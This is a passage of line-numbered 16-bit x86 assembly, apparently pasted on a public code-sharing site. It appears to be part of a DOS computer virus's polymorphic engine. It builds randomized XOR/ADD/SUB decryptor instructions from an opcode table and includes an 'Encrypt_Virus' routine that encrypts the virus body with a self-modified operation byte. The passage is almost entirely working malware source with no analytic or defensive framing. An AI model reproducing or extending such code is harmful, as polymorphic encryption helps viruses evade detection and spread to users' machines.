  1168.         cmp     byte ptr cipher,0
  1169.         jne     fix_16imm
  1170.         mov     al,byte ptr [si+2]
  1171.         or      al,5
  1172.         stosb
  1173.         jmp     short set_imm
  1174.  
  1175. fix_16imm:
  1176.         mov     al,81h
  1177.         stosb
  1178.         mov     al,byte ptr [si+2]
  1179.         or      al,0c0h
  1180.         or      al,byte ptr cipher
  1181.         stosb
  1182.  
  1183. set_imm:
  1184.         call    get_rand
  1185.         stosw
  1186.  
  1187.         mov     word ptr encval2,ax
  1188.  
  1189.         call    increase_pointer
  1190.  
  1191.         ret
  1192.  
  1193. enc_table       db      31h     ;XOR            ;Direct word operation
  1194.                 db      33h     ;XOR reg,reg    ;Undo..
  1195.                 db      30h
  1196.  
  1197.                 db      01h     ;ADD
  1198.                 db      2bh     ;SUB reg,reg
  1199.                 db      0       ;ADD
  1200.  
  1201.                 db      29h     ;SUB
  1202.                 db      03h     ;ADD reg,reg
  1203.                 db      28h
  1204.  
  1205. Rand3:
  1206. ;Gets a number in ax, either 0,4,8, and indexes SI that distance into
  1207. ;enc_table.
  1208. encrypt_rand:
  1209.         call    get_rand
  1210.         mov     cx,3
  1211.         xor     dx,dx
  1212.         div     cx
  1213.         mov     ax,dx
  1214.         xor     dx,dx
  1215.         mul     cx
  1216.         mov     si,offset enc_table
  1217.         add     si,ax
  1218.         ret
  1219.  
  1220. Encrypt_Virus:
  1221.         mov     si,word ptr saved_si
  1222.         mov     cx,word ptr saved_cx
  1223.         inc     cx
  1224.         shr     cx,1
  1225.         mov     bx,word ptr xorval
  1226. enc_loop:
  1227.         lodsw
  1228.  
  1229.         ;op ax,bx
  1230.         encbyte db      0       ;op
  1231.                 db      0c3h
  1232.  
  1233.                 db      81h
  1234.         encb2   db      0
  1235.         encval2 dw      0
  1236.  
  1237.         stosw
  1238.         loop    enc_loop
  1239.         ret
  1240.  
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement